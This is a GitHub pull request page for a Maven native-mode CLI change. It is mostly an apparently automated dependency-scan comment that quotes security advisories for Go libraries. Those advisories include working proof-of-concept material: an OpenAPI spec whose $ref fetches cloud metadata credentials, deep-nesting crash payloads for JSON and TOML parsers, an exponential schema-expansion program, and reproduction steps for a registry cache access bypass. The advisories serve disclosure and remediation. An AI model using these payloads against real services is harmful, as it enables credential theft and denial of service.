Skip to content

RTECO-1646 - Enhance Maven native mode support by adding server ID fl… - #3637

Open
fluxxBot wants to merge 9 commits into
masterfrom
RTECO-1646-mvnWorkspace
Open

RTECO-1646 - Enhance Maven native mode support by adding server ID fl…#3637
fluxxBot wants to merge 9 commits into
masterfrom
RTECO-1646-mvnWorkspace

Conversation

@fluxxBot

@fluxxBot fluxxBot commented Aug 3, 2026

Copy link
Copy Markdown
Collaborator

…ag and updating build-info extraction logic

  • All tests have passed. If this feature is not already covered by the tests, new tests have been added.
  • The pull request is targeting the master branch.
  • The code has been validated to compile successfully by running go vet ./....
  • The code has been formatted properly using go fmt ./....

@fluxxBot fluxxBot added the new feature Automatically generated release notes label Aug 3, 2026
@fluxxBot
fluxxBot force-pushed the RTECO-1646-mvnWorkspace branch from 0183fbb to 3a4069a Compare August 3, 2026 10:33
@fluxxBot
fluxxBot force-pushed the RTECO-1646-mvnWorkspace branch from 49e644f to b9cf4d7 Compare August 4, 2026 07:27
…-info-go dependencies with specific commit hashes
… jfrog-cli-artifactory and build-info-go dependencies
Comment thread buildtools/cli.go
Comment thread utils/cliutils/commandsflags.go
@github-actions

github-actions Bot commented Sep 2, 2026

Copy link
Copy Markdown
Contributor

🚨 Frogbot scanned this pull request and found the below:

📗 Scan Summary

  • Frogbot scanned for vulnerabilities and found 23 issues
Scan Category Status Security Issues
Software Composition Analysis ✅ Done
19 Issues Found 1 Critical
12 High
6 Medium
Contextual Analysis ✅ Done -
Static Application Security Testing (SAST) ✅ Done
4 Issues Found 1 High
3 Low
Secrets ✅ Done Not Found
Services ✅ Done Not Found
Infrastructure as Code (IaC) ✅ Done Not Found

📦 Vulnerable Dependencies

Severity ID Contextual Analysis Dependency Path
critical
Critical
GHSA-gqhc-vf4h-h7hg Not Covered
1 Directgithub.com/go-openapi/validate:0.25.3
high
High
CVE-2026-56865 Missing Context
1 Directgolang.org/x/mod:0.37.0
1 Transitivegolang.org/x/mod:0.37.0
high
High
CVE-2026-56864 Missing Context
1 Directgolang.org/x/mod:0.37.0
1 Transitivegolang.org/x/mod:0.37.0
high
High
GHSA-xh24-9qpg-8w28 Not Covered
1 Directgithub.com/go-openapi/swag/jsonutils:0.26.0
1 Transitivegithub.com/go-openapi/swag/jsonutils:0.26.0
high
High
GHSA-pxx3-v77h-v677 Not Covered
1 Directgithub.com/go-openapi/spec:0.22.5
1 Transitivegithub.com/go-openapi/spec:0.22.5
high
High
GHSA-hrxh-6v49-42gf Not Covered
1 Directgoogle.golang.org/grpc:1.81.1
1 Transitivegoogle.golang.org/grpc:1.81.1
high
High
GHSA-frc4-6h9q-39fq Not Covered
1 Directgithub.com/pelletier/go-toml/v2:2.3.1
high
High
CVE-2026-84304 Not Covered
1 Directgoogle.golang.org/grpc:1.81.1
1 Transitivegoogle.golang.org/grpc:1.81.1
high
High
CVE-2026-56854 Not Covered
1 Directgolang.org/x/crypto:0.53.0
1 Transitivegolang.org/x/crypto:0.53.0
high
High
CVE-2026-35172 Not Covered
1 Directgithub.com/distribution/distribution/v3:3.0.0
1 Transitivegithub.com/distribution/distribution/v3:3.0.0
high
High
CVE-2026-33540 Not Covered
1 Directgithub.com/distribution/distribution/v3:3.0.0
1 Transitivegithub.com/distribution/distribution/v3:3.0.0
medium
Medium
GHSA-hwp8-w8pv-xq8f Not Covered
1 Directgithub.com/go-openapi/swag/yamlutils:0.26.0
1 Transitivegithub.com/go-openapi/swag/yamlutils:0.26.0
medium
Medium
GHSA-c68w-432j-47vw Not Covered
1 Directgithub.com/go-openapi/validate:0.25.3
medium
Medium
CVE-2026-84303 Not Covered
1 Directgoogle.golang.org/grpc:1.81.1
1 Transitivegoogle.golang.org/grpc:1.81.1
medium
Medium
CVE-2026-71557 Not Covered
1 Directgithub.com/go-git/go-git/v5:5.19.1
1 Transitivegithub.com/go-git/go-git/v5:5.19.1
medium
Medium
CVE-2026-61801 Not Covered
1 Directgithub.com/moby/sys/user:0.4.0
1 Transitivegithub.com/moby/sys/user:0.4.0
medium
Medium
CVE-2026-41888 Not Covered
1 Directgithub.com/distribution/distribution/v3:3.0.0
1 Transitivegithub.com/distribution/distribution/v3:3.0.0
high (not applicable)
High
CVE-2026-71556 Not Applicable
1 Directgithub.com/go-git/go-git/v5:5.19.1
1 Transitivegithub.com/go-git/go-git/v5:5.19.1
high (not applicable)
High
CVE-2026-17106 Not Applicable
1 Directgithub.com/moby/go-archive:0.2.0
1 Transitivegithub.com/moby/go-archive:0.2.0

@github-actions

github-actions Bot commented Sep 2, 2026

Copy link
Copy Markdown
Contributor

📦 Vulnerable Dependencies

🔖 Details

[ GHSA-gqhc-vf4h-h7hg ] github.com/go-openapi/validate 0.25.3

Vulnerability Details

CVSS V3: -
Dependency Path:
github.com/go-openapi/validate: 0.25.3 (Direct)

Summary

The ExpandSpec, ExpandSchema, ExpandSchemaWithBasePath, ExpandResponse, ExpandParameter, and ResolveRefWithBase functions in go-openapi/spec will make outbound HTTP requests to any URL found in a $ref field — including internal cloud metadata endpoints (e.g. AWS IMDS at 169.254.169.254), private network addresses, and localhost services. Any application that expands a spec containing attacker-controlled $ref values is vulnerable to full SSRF with no built-in mitigations.

Details

The default path loader is set at the package level in schema_loader.go#lines 27–33:

var PathLoader = func(pth string) (json.RawMessage, error) {
    data, err := loading.LoadFromFileOrHTTP(pth)
    // ...
}

loading.LoadFromFileOrHTTP delegates to http.DefaultClient.Do(req) for any path beginning with http. The call chain is:

ExpandSpec(swagger, options)
  → expandSchema() → expandSchemaRef()
  → schemaLoader.Resolve() → resolveRef() → load()
  → r.context.loadDoc(normalized)       // = PathLoader (default or options.PathLoader)
  → loading.LoadFromFileOrHTTP(url)
  → http.DefaultClient.Do(req)          // no scheme allowlist, no IP validation

There is:

  • No scheme allowlist (both http:// and https:// are fetched)
  • No hostname/IP validation or block of RFC-1918 / link-local ranges
  • No SSRF protection of any kind in the default configuration

ExpandOptions.PathLoader allows supplying a custom loader, but the default is unsafe and most callers use it without customization.

PoC

  1. Create a malicious OpenAPI 2.0 spec file evil.json:
{
  "swagger": "2.0",
  "info": { "title": "PoC", "version": "0.1" },
  "paths": {},
  "definitions": {
    "Victim": {
      "$ref": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role"
    }
  }
}
  1. Run any Go application that calls spec.ExpandSpec (or ExpandSchema) on this file without a custom PathLoader:
package main

import (
    "fmt"
    "github.com/go-openapi/spec"
)

func main() {
    swagger := &spec.Swagger{}
    // load evil.json into swagger (e.g. via json.Unmarshal)
    err := spec.ExpandSpec(swagger, nil) // nil = default options = unsafe PathLoader
    fmt.Println(err)
}
  1. The library makes an outbound GET http://169.254.169.254/latest/meta-data/iam/security-credentials/role from the server process, returning AWS IAM credentials (or equivalent for GCP/Azure metadata endpoints). Replace the URL with any internal service (http://10.0.0.1/admin, http://localhost:6379/, etc.) to probe internal infrastructure.

Impact

This is a Server-Side Request Forgery (SSRF) vulnerability. Any application that calls the ExpandSpec, ExpandSchema, ExpandResponse, ExpandParameter, or any Resolve* function with a spec sourced from untrusted input is affected. An attacker can:

  • Exfiltrate cloud provider instance metadata credentials (AWS, GCP, Azure IMDS)
  • Probe and interact with internal services not exposed to the internet
  • Bypass firewall rules by pivoting through the vulnerable server

The impact is highest in cloud-hosted services (where IMDS credential theft leads to full account compromise) and in API gateway / validation services that accept user-supplied OpenAPI specs.

[ CVE-2026-56865 ] golang.org/x/mod 0.37.0

Vulnerability Details

Contextual Analysis: Missing Context
CVSS V3: 8.4
Dependency Path:
golang.org/x/mod: 0.37.0 (Transitive)

A malicious GOPROXY was previously capable of forging up to two sumdb tiles that allow for a requested module to bypass the GOSUMDB check and persist attacker-controlled module content to a local Go module cache.

This attack allows for a malicious GOPROXY to serve malicious module content that cannot be detected by evaluating the transparency log.

All tiles are now correctly verified against their parents.

In order to determine if you have been affected:

rm -r go.sum go.work.sum vendor/ && go mod tidy

[ CVE-2026-56864 ] golang.org/x/mod 0.37.0

Vulnerability Details

Contextual Analysis: Missing Context
CVSS V3: 7.5
Dependency Path:
golang.org/x/mod: 0.37.0 (Transitive)

A malicious GOSUMDB was capable of serving arbitrary module content not contained within the transparency log.

This attack allows for a coordinating GOPROXY and GOSUMDB to serve a client malicious module content that cannot be detected by evaluating the transparency log.

In order to determine if you have been affected:

rm -r go.sum go.work.sum vendor/ && go mod tidy

[ GHSA-xh24-9qpg-8w28 ] github.com/go-openapi/swag/jsonutils 0.26.0

Vulnerability Details

CVSS V3: -
Dependency Path:
github.com/go-openapi/swag/jsonutils: 0.26.0 (Transitive)

Summary

Both the unmarshal and marshal paths of swag's ordered-JSON support (jsonutils.JSONMapSlice /
the stdlib adapter) recurse once per nesting level with no depth limit. A deeply nested JSON
document (or an equally deep in-memory structure passed to WriteJSON) drives the Go runtime
to a non-recoverable fatal error: stack overflow, killing the entire process. This is not a

Notably, swag's ordered-JSON path uses its own lexer instead of encoding/json, and therefore
does not benefit from the stdlib decoder's built-in max-nesting-depth guard (in place since
Go 1.15). The same payload that crashes swag is rejected cleanly by encoding/json.Unmarshal.

Details

Unmarshaljsonutils/adapters/stdlib/json/ordered_map.go:

  • MapItem.asInterface (line 214) and MapItem.unmarshalArray (line 183) / MapSlice.unmarshalObject
    (line 126) are mutually recursive with no depth counter. Each [ or { nesting level adds a
    new pair of stack frames.

Marshaljsonutils/adapters/stdlib/json/adapter.go:

  • Adapter.OrderedMarshal (line 42) recurses directly at line 68
    (w.Raw(a.OrderedMarshal(val))) for every nested ifaces.Ordered value, independent of how
    that structure was constructed (i.e. reachable even without going through the vulnerable
    unmarshal path first — e.g. via jsonutils.FromDynamicJSON round-trips or any caller that
    builds nested JSONMapSlice values).

Entry points: jsonutils.ReadJSON, jsonutils.JSONMapSlice.UnmarshalJSON, jsonutils.WriteJSON,
jsonutils.JSONMapSlice.MarshalJSON, jsonutils.FromDynamicJSON, and transitively
loading.YAMLDoc/loading.JSONDoc in any downstream service that parses untrusted specs
(e.g. an OpenAPI spec validation/import endpoint).

PoC

Unmarshal crash (confirmed on darwin/arm64, Go 1.26):

payload := []byte(`{"a":` + strings.Repeat("[", 3000000) + strings.Repeat("]", 3000000) + `}`)
var v jsonutils.JSONMapSlice
_ = jsonutils.ReadJSON(payload, &v)
// fatal error: stack overflow
// runtime: goroutine stack exceeds 1000000000-byte limit

~6 MB payload, crashes in well under 1 second, non-zero process exit.

Control: the identical payload fed to encoding/json.Unmarshal returns a clean error
(invalid character '[' exceeded max depth) instead of crashing — demonstrating that swag's
custom lexer omits a depth guard the stdlib decoder already has.

Marshal crash (independent of the above), built entirely in memory with no recursive
construction:

var v jsonutils.JSONMapSlice = jsonutils.JSONMapSlice{{Key: "leaf", Value: "x"}}
for i := 0; i < 3000000; i++ { 
    v = jsonutils.JSONMapSlice{{Key: "n", Value: v}}
}   
_, _ = jsonutils.WriteJSON(v)
// fatal error: stack overflow (via Adapter.OrderedMarshal, adapter.go:68)

Remote delivery: any service that accepts an OpenAPI/Swagger spec (upload, or
spec_url=-style parameter into loading.JSONDoc) and parses it with swag's ordered-JSON
support is a one-request DoS: a single ~6 MB POST body crashes the process. Under a process
supervisor the service restarts and can be crash-looped by repeating the request.

Impact

Denial of Service: an unauthenticated remote attacker who can get a JSON document parsed by
jsonutils.ReadJSON/JSONMapSlice (directly, or via any go-openapi/go-swagger consumer that
validates or imports specs) can crash the serving process with a single request. Because the
crash is a runtime fatal error, it is not recoverable within the process and takes down all
in-flight requests being served by that process, not just the attacker's own request.

[ GHSA-pxx3-v77h-v677 ] github.com/go-openapi/spec 0.22.5

Vulnerability Details

CVSS V3: -
Dependency Path:
github.com/go-openapi/spec: 0.22.5 (Transitive)

Summary

spec.ExpandSpec, spec.ExpandSchema, and spec.ExpandSchemaWithBasePath recursively inline every $ref occurrence without memoizing already-expanded definitions or enforcing a global expansion budget. A crafted, self-contained OpenAPI/Swagger document in which each of N definitions references the next definition twice (via allOf, anyOf, oneOf, properties, or items) causes 2^N schema expansions from O(N) bytes of input. A ~1.5 KB document drives >30 s of CPU time and >17 GB of heap allocation, allowing an unauthenticated attacker to exhaust CPU and memory in any service that expands untrusted specs.

Details

Affected versions: <= v0.22.6 (all released versions).

Root cause: expander.go, function expandSchema (line 194) iterates over every composite child of a schema and recurses into each one:

for i := range target.AllOf {
    t, err := expandSchema(target.AllOf[i], parentRefs, resolver, basePath)
    ...
}
for i := range target.AnyOf { ... }
for i := range target.OneOf { ... }
...
for k := range target.Properties { ... }

When a child carries a $ref, expandSchemaRef (expander.go line 335) resolves the target schema and recurses back into expandSchema on the resolved value:

parentRefs = append(parentRefs, normalizedRef.String())
transitiveResolver := resolver.transitiveResolver(basePath, target.Ref)
basePath = resolver.updateBasePath(transitiveResolver, normalizedBasePath)
return expandSchema(*t, parentRefs, transitiveResolver, basePath)

The only guard is isCircular (schema_loader.go line 194), which checks the normalized ref against parentRefs — the chain of refs along the current recursion path — plus a set of refs already proven circular:

func (r *schemaLoader) isCircular(ref *Ref, basePath string, parentRefs ...string) (foundCycle bool) {
    normalizedRef := normalizeURI(ref.String(), basePath)
    if _, ok := r.context.circulars[normalizedRef]; ok {
        foundCycle = true
        return
    }
    foundCycle = stringutils.ContainsStrings(parentRefs, normalizedRef)
    if foundCycle {
        r.context.circulars[normalizedRef] = true
    }
    return
}

This correctly detects cycles (A → B → A) but does not memoize the expanded result of a definition across sibling branches, and there is no cap on the total number of expansions performed. Consider definitions d0 … dN where each dK is {"allOf":[{"$ref":"#/definitions/dK+1"},{"$ref":"#/definitions/dK+1"}]} and dN is a leaf. No ref ever repeats along a single path, so isCircular never fires; yet the expansion tree of d0 has 2^N leaves. ExpandSpec additionally expands every entry in Definitions, so the total work is Σ 2^k ≈ 2^(N+1).

Because all refs are fragment-only (#/definitions/...), the attack works entirely in memory: supplying a PathLoader that refuses all external loads, or setting SkipSchemas: false (the default), does not mitigate it. The same entry points are reached by downstream consumers such as go-openapi/loads (.Expanded()), go-openapi/validate, and go-swagger when they process user-supplied spec documents.

PoC

go mod init poc && go get github.com/go-openapi/spec@v0.22.6 && go run .
package main

import (
        "encoding/json"
        "fmt"
        "os"
        "runtime"
        "time"

        "github.com/go-openapi/spec"
)

func buildSpec(n int) []byte {
        defs := make(map[string]any, n)
        for i := 0; i < n; i++ {
                var sch any
                if i == n-1 {
                        sch = map[string]any{"type": "string"}
                } else {
                        next := fmt.Sprintf("#/definitions/d%d", i+1)
                        sch = map[string]any{
                                "allOf": []any{
                                        map[string]any{"$ref": next},
                                        map[string]any{"$ref": next},
                                },
                        }
                }
                defs[fmt.Sprintf("d%d", i)] = sch
        }
        doc := map[string]any{
                "swagger":     "2.0",
                "info":        map[string]any{"title": "x", "version": "1"},
                "paths":       map[string]any{},
                "definitions": defs,
        }
        b, _ := json.Marshal(doc)
        return b
}

func run(n int, timeout time.Duration) {
        raw := buildSpec(n)
        fmt.Printf("N=%d  input size = %d bytes\n", n, len(raw))

        var sw spec.Swagger
        if err := json.Unmarshal(raw, &sw); err != nil {
                fmt.Println("unmarshal error:", err)
                return
        }

        done := make(chan error, 1)
        start := time.Now()
        go func() {
                // Deny-all PathLoader: proves the attack needs no external I/O.
                done <- spec.ExpandSpec(&sw, &spec.ExpandOptions{
                        PathLoader: func(p string) (json.RawMessage, error) {
                                return nil, fmt.Errorf("no external loads allowed: %s", p)
                        },
                })
        }()

        select {
        case err := <-done:
                var ms runtime.MemStats
                runtime.ReadMemStats(&ms)
                fmt.Printf("  ExpandSpec returned in %v (err=%v)  TotalAlloc=%d MB\n",
                        time.Since(start), err, ms.TotalAlloc/(1024*1024))
        case <-time.After(timeout):
                var ms runtime.MemStats
                runtime.ReadMemStats(&ms)
                fmt.Printf("  TIMEOUT after %v — ExpandSpec still running. TotalAlloc=%d MB  (FAIL: exponential blowup)\n",
                        timeout, ms.TotalAlloc/(1024*1024))
                os.Exit(1)
        }
}

func main() {
        // Each +4 levels ≈ 16x time/memory.
        run(12, 30*time.Second)
        run(16, 30*time.Second)
        // N=20 (~1.5 KB input) exceeds 30 s and allocates >17 GB.
        // N=28 (~2.5 KB) would be ~256x worse.
        run(20, 30*time.Second)
}

Observed output against v0.22.6:

N=12  input size = 911 bytes
  ExpandSpec returned in 193.84389ms (err=<nil>)  TotalAlloc=88 MB
N=16  input size = 1215 bytes
  ExpandSpec returned in 2.101955204s (err=<nil>)  TotalAlloc=1283 MB
N=20  input size = 1519 bytes
  TIMEOUT after 30s — ExpandSpec still running. TotalAlloc=17694 MB  (FAIL: exponential blowup)
exit status 1

Impact

Any application that calls spec.ExpandSpec, spec.ExpandSchema, or spec.ExpandSchemaWithBasePath (directly or via go-openapi/loads, go-openapi/validate, go-swagger, or similar) on an OpenAPI/Swagger document supplied by an untrusted party is affected. Typical exposures include API gateways, spec validation/linting services, documentation portals, and code-generation endpoints that accept uploaded specs.

An unauthenticated attacker can submit a spec of a few kilobytes and cause the process to consume unbounded CPU time and tens of gigabytes of memory, leading to request-handler starvation, OOM kills, and service unavailability. No external network access, filesystem access, or non-default configuration is required; the attack is effective even when the caller supplies a restrictive PathLoader. The vulnerability affects availability only (no confidentiality or integrity impact).

Suggested remediation: enforce a configurable upper bound on the total number of $ref resolutions / expanded schema nodes per ExpandSpec call and return an error when it is exceeded; and/or memoize fully-expanded definitions keyed by their normalized ref so that each definition is inlined at most once.

[ GHSA-hrxh-6v49-42gf ] google.golang.org/grpc 1.81.1

Vulnerability Details

CVSS V3: -
Dependency Path:
google.golang.org/grpc: 1.81.1 (Direct)

Multiple security vulnerabilities have been identified and addressed in grpc-go affecting the xDS RBAC authorization engine (internal/xds/rbac) and the HTTP/2 transport server implementation (internal/transport). These vulnerabilities could result in:

  • Authorization Bypass (Fail-Open) when translating xDS RBAC policies containing Metadata or RequestedServerName fields.
  • Denial of Service (High CPU Consumption) due to an HTTP/2 Rapid Reset mitigation bypass during client-initiated stream resets.
  • Denial of Service (Server Panic) when parsing crafted xDS RBAC policies containing NOT rules around unsupported fields.

Impact

What kind of vulnerability is it? Who is impacted?

xDS RBAC Authorization Bypass via Metadata & RequestedServerName matchers

  • Affected Component: xDS RBAC
  • Impact: When building policy matchers for gRPC RBAC from xDS configurations, unsupported permission and principal rules (specifically Metadata and RequestedServerName) were silently ignored and treated as no-ops.
    • If an authorization policy relied purely on these matchers for access control, treating those rules as no-ops effectively removed the restrictions.
  • If these unsupported rules were nested inside logical NOT rules (Permission_NotRule / Principal_NotId) or multi-condition OR/AND rules, silently dropping them changed the boolean logic flow of the authorization engine.

As a result, policy evaluation decisions could fail open, allowing unauthorized clients to access protected gRPC services or resources.

HTTP/2 Rapid Reset Mitigation Bypass / Denial of Service via Stream Aborts

  • Affected Component: HTTP/2 transport
  • Impact: Earlier mitigations in grpc-go for HTTP/2 Rapid Reset only applied threshold checks to items that directly resulted in control frames being written back to the wire, such as SETTINGS ACKs or server-initiated RST_STREAMs.

When a client initiated a rapid flood of stream creation (HEADERS) immediately followed by stream termination RST_STREAM, items queued up in the control buffer without counting against the transport response frame threshold. An attacker can repeatedly trigger this flood sequence to bypass reader blocking, resulting in high CPU usage, and Denial of Service (DoS).

Denial of Service (Panic) in xDS RBAC Engine via Unsupported Fields inside NOT Rules

  • Affected Component: xDS RBAC
  • Impact: The xDS RBAC policy translators recursively generate matchers for nested rules. When a NOT rule wrapped an unsupported or unhandled field (such as SourcedMetadata), the recursive step returned an empty matcher. This could result in a runtime panic when the RBAC engine attempts to authorize an incoming request.

An attacker or misconfigured/malicious xDS management server delivering an LDS/RDS update containing a NOT rule around an unhandled field causes the gRPC server process to crash immediately (CWE-248 / Denial of Service).

Patches

Has the problem been patched? What versions should users upgrade to?

All three issues have been fixed in master and will be released in 1.82.1 shortly.

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

If upgrading grpc-go immediately is not possible, apply the following workarounds based on your deployment architecture:

  • For xDS RBAC Vulnerabilities & Panics: Ensure that upstream xDS management servers do not push RBAC policies containing Metadata, RequestedServerName, or NOT rules wrapping unsupported fields (such as SourcedMetadata) to grpc-go servers.
  • For HTTP/2 Rapid Reset DOS: Configure upstream reverse proxies or load balancers (such as Envoy) with strict HTTP/2 max_concurrent_streams limits and active rate limiting on RST_STREAM frequency per connection.

Severity

Vulnerability Qualitative Severity Approximate CVSS v3.1 Score Primary Impact
xDS RBAC Authorization Bypass High 8.2 Unauthorized Access / Fail-Open
HTTP/2 Rapid Reset DOS Bypass High 7.5 High CPU Consumption / Denial of Service
xDS RBAC Engine Server Panic Medium 5.9 Process Crash / Denial of Service
[ GHSA-frc4-6h9q-39fq ] github.com/pelletier/go-toml/v2 2.3.1

Vulnerability Details

CVSS V3: -
Dependency Path:
github.com/pelletier/go-toml/v2: 2.3.1 (Direct)

Summary

toml.Unmarshal and toml.Decoder.Decode in go-toml/v2 contain an unbounded mutual recursion in the TOML parser between parseVal and parseValArray (and parseInlineTable). An attacker who can supply a TOML document with deeply nested arrays or inline tables triggers fatal error: stack overflow — a Go runtime fatal that terminates the entire process and cannot be caught by any recover(). A ~5–6 MB payload suffices under default goroutine stack settings; the same flaw exists in the unmarshaling and duplicate-key tracking layers, but the parser recursion is hit first. The project's OSS-Fuzz harness caps input at 2048 bytes, which is why this has not been caught by continuous fuzzing.

Details

Root cause: unstable.Parser.parseVal (unstable/parser.go:384–461) dispatches '[' to parseValArray (unstable/parser.go:542–636), which loops calling parseVal for each element. There is no depth counter or limit anywhere on this mutual recursion; a grep -rn "depth|maxDepth|recursion|nesting" over unstable/ and the top-level .go files returns zero hits.

Additional recursive layers (also unbounded):

  • unmarshaler.go:760–916 (handleValueunmarshalArray / unmarshalInlineTablehandleValue)
  • internal/tracker/seen.go:318–359 (checkArray / checkInlineTable)

Stack cost and threshold: Measured stack consumption is approximately 416 bytes per nesting level (216 B parseVal + 200 B parseValArray). With Go's default 1 GiB goroutine stack ceiling, approximately 2.4 million levels (~4.8 MB of input) trigger the fatal. The report used a 6 MB payload (3 million levels) as a conservative figure.

Why recover() cannot help: Go stack overflow is raised by runtime.throw, not panic. No defer recover() at any call level — including application-level HTTP middleware — can intercept it. The entire process dies immediately, including all goroutines.

Affected code:

  • unstable/parser.go:384–461 (parseVal)
  • unstable/parser.go:542–636 (parseValArray)
  • unstable/parser.go:480–539 (parseInlineTable)
  • unmarshaler.go:760–916
  • internal/tracker/seen.go:318–359

Attack input:

a=[[[ ... (N million bracket pairs) ... ]]]

or equivalently:

a={k={k={k= ... }}}

PoC

A representative invocation:

package main

import (
    "fmt"
    "strings"
    toml "github.com/pelletier/go-toml/v2"
)

func main() {
    depth := 3000000
    payload := "a=" + strings.Repeat("[", depth) + strings.Repeat("]", depth)
    fmt.Printf("payload size: %d bytes, nesting depth: %d\n", len(payload), depth)
    var v interface{}
    err := toml.Unmarshal([]byte(payload), &v)
    fmt.Printf("err=%v\n", err) // never reached
}

Observed output:

payload size: 6000002 bytes, nesting depth: 3000000
runtime: goroutine stack exceeds 1000000000-byte limit
fatal error: stack overflow

goroutine 1 [running]:
github.com/pelletier/go-toml/v2/unstable.(*Parser).parseValArray(...)
    .../unstable/parser.go:615
github.com/pelletier/go-toml/v2/unstable.(*Parser).parseVal(...)
    .../unstable/parser.go:455
github.com/pelletier/go-toml/v2/unstable.(*Parser).parseValArray(...)
    .../unstable/parser.go:615
github.com/pelletier/go-toml/v2/unstable.(*Parser).parseVal(...)
    .../unstable/parser.go:455
... (repeats)

The process exits non-cleanly; the line after Unmarshal is never reached. The post-Unmarshal print was confirmed to never execute.

Impact

Any service that calls toml.Unmarshal or toml.Decoder.Decode on attacker-controlled bytes (config-upload endpoints, API payloads, agent ingest, multi-tenant pipelines) is remotely crashable with a single request. The crash terminates the entire process — not just the handling goroutine — bypassing all recover()-based panic handlers and HTTP middleware. The attack is rated HIGH because:

  • The crash is unrecoverable and process-wide (not just goroutine-scoped).
  • A ~5 MB payload is deliverable over HTTP for any service lacking a body-size cap.
  • The OSS-Fuzz harness caps input at 2048 bytes (ossfuzz/fuzz.go:14), so the vulnerability bypasses continuous fuzzing.
  • The fix requires no API change (add a depth counter, return ParserError at limit).

The threat model caveat is that TOML is less commonly exposed to untrusted input than JSON or YAML, and a multi-MB body must clear upstream request-size limits; where those conditions hold, this is a trivial unrecoverable process-crash DoS. The fix requires threading a depth counter through parseVal/parseValArray/parseInlineTable and returning a ParserError at a configurable limit (e.g. 1 000 levels, matching encoding/json's behavior).

[ CVE-2026-84304 ] google.golang.org/grpc 1.81.1

Vulnerability Details

Contextual Analysis: Not Covered
CVSS V3: -
Dependency Path:
google.golang.org/grpc: 1.81.1 (Direct)

Impact

An unauthenticated remote attacker can initiate a gRPC stream and purposefully fragment their payload into millions of tiny (e.g., 1-byte) HTTP/2 DATA frames. Even if the total payload volume falls within the configured connection and stream flow-control windows, each independent fragment incurs memory overhead due to internal tracking structures and queue allocation.

Repeated fragmentation massively inflates the heap space consumed by the stream. An attacker multiplexing multiple concurrent streams can exhaust the memory bounds of the runtime, forcing a runtime panic or OutOfMemory condition and leading to a remote Denial of Service (DoS).

Patches

The change to fix this issue is merged in master and a patch release, 1.83.1, has been published that contains this fix.

Workarounds

This vulnerability is mitigated by implementing receive buffer compaction. Consecutive small data buffers are automatically coalesced into larger buffers from a shared pool once the overhead is perceived to be excessive relative to actual payload data, drastically minimizing per-frame memory overheads.

This behavior is enabled by default. A temporary escape hatch is provided via the environment variable GRPC_GO_EXPERIMENTAL_ENABLE_RECEIVE_BUFFER_COMPACTION=false to disable the feature if unforeseen issues arise, but it will be removed in a future release.

[ CVE-2026-56854 ] golang.org/x/crypto 0.53.0

Vulnerability Details

Contextual Analysis: Not Covered
CVSS V3: 7.5
Dependency Path:
golang.org/x/crypto: 0.53.0 (Direct)

The source-address critical option in the Permissions returned by an authentication callback was only enforced for the PublicKeyCallback and VerifiedPublicKeyCallback paths, extending the fix for CVE-2026-46595. Permissions returned by the PasswordCallback, KeyboardInteractiveCallback, NoClientAuthCallback, and GSSAPIWithMICConfig.AllowLogin callbacks were not validated against the client's remote address, so a source-address restriction set by those callbacks was silently ignored. The check is now applied to the Permissions returned by any authentication callback.

[ CVE-2026-35172 ] github.com/distribution/distribution/v3 3.0.0

Vulnerability Details

Contextual Analysis: Not Covered
CVSS V3: 7.5
Dependency Path:
github.com/distribution/distribution/v3: 3.0.0 (Transitive)

summary:

distribution can restore read access in repo a after an explicit delete when storage.cache.blobdescriptor: redis and storage.delete.enabled: true are both enabled. the delete path clears the shared digest descriptor but leaves stale repo-scoped membership behind, so a later Stat or Get from repo b repopulates the shared descriptor and makes the deleted blob readable from repo a again.

Severity

HIGH

justification: this is a repo-local authorization bypass after explicit delete, with concrete confidentiality impact and no requirement for write access after the delete event. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5). CWE-284.

affected version

details

the backend access model is repository-link based: once repo a deletes its blob link, later reads from repo a should continue returning ErrBlobUnknown even if the same digest remains linked in repo b.

the issue is the split invalidation path in the redis cache backend:

  1. linkedBlobStore.Delete calls blobAccessController.Clear during repository delete handling.
  2. cachedBlobStatter.Clear forwards that invalidation into the cache layer.
  3. repositoryScopedRedisBlobDescriptorService.Clear checks that the digest is a member of repo a, but then only calls upstream.Clear.
  4. upstream.Clear deletes the shared digest descriptor and does not remove the digest from the repository membership set for repo a.
  5. when repo b later stats or gets the same digest, the shared descriptor is recreated.
  6. repositoryScopedRedisBlobDescriptorService.Stat for repo a accepts the stale membership and now trusts the repopulated shared descriptor, restoring access in the repository that already deleted its link.

this creates a revocation gap at the repository boundary. the blob is briefly inaccessible from repo a right after delete, which confirms the backend link was removed, and then becomes accessible again only because stale redis membership survived while a peer repository repopulated the shared descriptor.

attack scenario

  1. an operator runs distribution with storage.cache.blobdescriptor: redis and storage.delete.enabled: true.
  2. the same digest exists in both repo a and repo b.
  3. the operator deletes the blob from repo a and expects repository-local access to be revoked.
  4. repo a correctly returns blob unknown immediately after the delete.
  5. an anonymous or unprivileged user requests the same digest from repo b, which still legitimately owns it and repopulates the shared descriptor.
  6. a later request for the digest from repo a succeeds again because stale repo-a membership was never revoked from redis.

PoC

attachment: poc.zip

the attached PoC is a deterministic integration harness using miniredis and the pinned distribution source tree.

steps to reproduce

canonical:

unzip -q -o poc.zip -d poc
cd poc
make canonical

expected output:

[CALLSITE_HIT]: repositoryScopedRedisBlobDescriptorService.Clear->upstream.Clear->repositoryScopedRedisBlobDescriptorService.Stat
[PROOF_MARKER]: repo_a_access_restored=true repo_a_delete_miss=true repo_b_peer_warm=true
[IMPACT_MARKER]: repo_a_post_delete_read=true confidentiality_boundary_broken=true

control:

unzip -q -o poc.zip -d poc
cd poc
make control

expected control output:

[CALLSITE_HIT]: repositoryScopedRedisBlobDescriptorService.Clear->repositoryScopedRedisBlobDescriptorService.Stat
[NC_MARKER]: repo_a_access_restored=false repo_b_peer_warm=true

expected vs actual

  • expected: after repo a deletes its blob link, later reads from repo a should keep returning blob unknown even if repo b still references the same digest and warms cache state.
  • actual: repo a first returns blob unknown, then repo b repopulates the shared descriptor, and repo a serves the deleted digest again through stale repo-scoped redis membership.

impact

the confirmed impact is repository-local confidentiality failure after explicit delete. an operator can remove sensitive content from repo a, observe revocation working immediately after the delete, and still have the same content become readable from repo a again as soon as repo b refreshes the shared descriptor for that digest.

this is not a claim about global blob deletion. the bounded claim is that repository-local revocation fails, which breaks the expectation that deleting a blob link from one repository prevents further reads from that repository.

remediation

the safest fix is to make redis invalidation revoke repo-scoped state together with the backend link deletion. in practice that means removing the digest from the repository membership set, deleting the repo-scoped descriptor hash, and keeping that cleanup atomic enough that peer-repository warming cannot restore access in the repository that already deleted its link.

poc.zip
PR_DESCRIPTION.md
attack_scenario.md

